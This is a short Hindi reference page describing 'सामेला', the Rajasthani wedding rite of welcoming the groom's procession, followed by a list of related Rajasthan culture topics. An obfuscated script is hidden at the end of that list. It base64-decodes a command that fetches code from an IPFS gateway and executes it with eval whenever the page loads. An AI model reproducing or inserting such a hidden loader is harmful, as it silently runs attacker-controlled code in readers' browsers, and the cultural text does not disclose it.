सामेला
सामेला
- जब बारात दुल्हन के गांव पहुंचती है तो वर पक्ष की ओर से नाई या ब्राह्मण आगे जाकर कन्या पक्ष को बारात के आने की सूचना देता है।
- कन्या पक्ष की ओर उसे नारियल एवं दक्षिणा दी जाती है।
- फिर वधू का पिता अपने सगे संबंधियों के साथ बारात का स्वागत करता है, स्वागत की यह क्रिया 'सामेला' कहलाती है।
इन्हें भी देखें: राजस्थान की संस्कृति, राजस्थान की जनजातियाँ, राजस्थान का इतिहास एवं राजस्थान के रीति-रिवाज<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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